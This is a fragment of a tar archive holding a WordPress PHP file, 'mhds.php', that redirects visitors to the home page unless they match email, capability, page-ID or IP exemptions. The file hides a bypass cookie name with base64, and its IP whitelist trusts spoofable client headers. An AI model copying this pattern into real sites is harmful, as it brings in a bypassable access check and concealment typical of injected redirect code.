?????????????? mhds.php000064400000007556151222634250006227 0ustar00user_email ?? "not set" ) ); if ( DESTINATION_URL_ID ) { DEBUG && error_log( "get_post_status(DESTINATION_URL_ID) = " . var_export( get_post_status( DESTINATION_URL_ID ), true ) ); DEBUG && error_log( "is_single(DESTINATION_URL_ID) = " . var_export( is_single( DESTINATION_URL_ID ), true ) ); DEBUG && error_log( "is_page(DESTINATION_URL_ID) = " . var_export( is_page( DESTINATION_URL_ID ), true ) ); } DEBUG && error_log( "WHITELIST_IPS = " . var_export( WHITELIST_IPS, true ) ); DEBUG && error_log( "user_ip = " . getClientIp() ); $redirect = true; if ( ! empty( USER_CAPABILITY ) ) { $redirect = $redirect && ( ! current_user_can( USER_CAPABILITY ) && ! is_wp_login() ); } if ( ! empty( $user->user_email ) && ( ! empty( USER_EMAILS ) || ! empty( PREVIEW_EMAILS ) ) ) { DEBUG && error_log( "email in list = " . ( in_array( $user->user_email, array_merge( USER_EMAILS, PREVIEW_EMAILS ) ) ? "yes" : "no" ) ); $redirect = $redirect && ( ! in_array( $user->user_email, array_merge( USER_EMAILS, PREVIEW_EMAILS ) ) ); } if ( DESTINATION_URL_ID && ( is_single( DESTINATION_URL_ID ) || is_page( DESTINATION_URL_ID ) ) ) { return; } if ( is_array(REDIRECTION_ID_BLOCKER) && sizeof(REDIRECTION_ID_BLOCKER) > 0 ) { foreach(REDIRECTION_ID_BLOCKER as $blocker_id) if( is_single( $blocker_id ) || is_page( $blocker_id ) ) return; } if ( ! empty( WHITELIST_IPS ) && in_array( getClientIp(), WHITELIST_IPS ) ) { return; } if ( $redirect && ! isset( $_COOKIE[base64_decode('cmVkX29r')]) ) {return home_url(); exit; } } function is_wp_login() { $ABSPATH = str_replace( array( '\\', '/' ), DIRECTORY_SEPARATOR, ABSPATH ); $included_files = get_included_files(); $conditions = [ in_array( $ABSPATH . 'wp-login.php', $included_files ), in_array( $ABSPATH . 'wp-register.php', $included_files ), $GLOBALS['pagenow'] === 'wp-login.php', $_SERVER['PHP_SELF'] === '/wp-login.php' ]; return in_array( true, $conditions, true ); } function login_redirect( $redirect_to, $request, $user ){ if ( ! empty( $user->user_email ) && in_array( $user->user_email, PREVIEW_EMAILS ) ) { return home_url(); } else { return $redirect_to; } } function getClientIp() { if (!empty($_SERVER['HTTP_CLIENT_IP'])) { $ip = $_SERVER['HTTP_CLIENT_IP']; } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) { $ip = $_SERVER['HTTP_X_FORWARDED_FOR']; } else { $ip = $_SERVER['REMOTE_ADDR']; } return filter_var($ip, FILTER_VALIDATE_IP); }